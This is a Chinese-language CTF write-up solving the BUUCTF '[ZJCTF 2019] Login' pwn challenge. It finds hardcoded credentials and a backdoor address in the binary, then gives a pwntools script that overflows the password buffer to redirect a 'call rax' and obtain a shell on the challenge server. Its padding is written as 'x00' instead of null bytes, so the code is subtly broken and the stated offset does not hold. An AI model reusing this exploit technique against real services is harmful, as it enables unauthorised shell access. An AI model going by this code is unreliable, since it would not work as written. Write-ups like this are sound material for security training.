[BUUCTF]PWN——[ZJCTF 2019]Login

[ZJCTF 2019]Login

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx保护

在这里插入图片描述
2. 试运行一下程序
在这里插入图片描述
3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd
在这里插入图片描述
再次尝试登录,无果
在这里插入图片描述
在程序里找到了后门函数,backdoor=0x400e88
在这里插入图片描述
c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻
问题出现在检查密码的那个函数上
反编译出来的伪代码看起来没什么问题
在这里插入图片描述
但是我们按下tab,看它的汇编,程序在结束前调用了call rax指令
在这里插入图片描述
逆向找一下rax的来源,通过查看汇编,找到了进入函数前给rax赋值的指令
在这里插入图片描述
通过ida查看读入密码的函数
在这里插入图片描述
看一下它在栈上的位置,距离是0x60-0x18 = 0x48
在这里插入图片描述
我们可以通过读入密码s去将var_18的地址改成我们之前看到的backdoor地址,之后检查密码的时候就跳转到那边,获取shell了

密码2jctf_pa5sw0rd的长度是14(0xe),0x48-0xe=0x3a,我们在填充0x3a长度的数据,之后到了var_18的地址,填上backdoor地址,即可完成利用

完整exp

from pwn import *
 
r = remote('node3.buuoj.cn',29427)
 
backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'x00'*0x3a+p64(backdoor))
 
r.interactive()

附上借鉴师傅的wp

原文地址:https://www.cnblogs.com/xlrp/p/14273676.html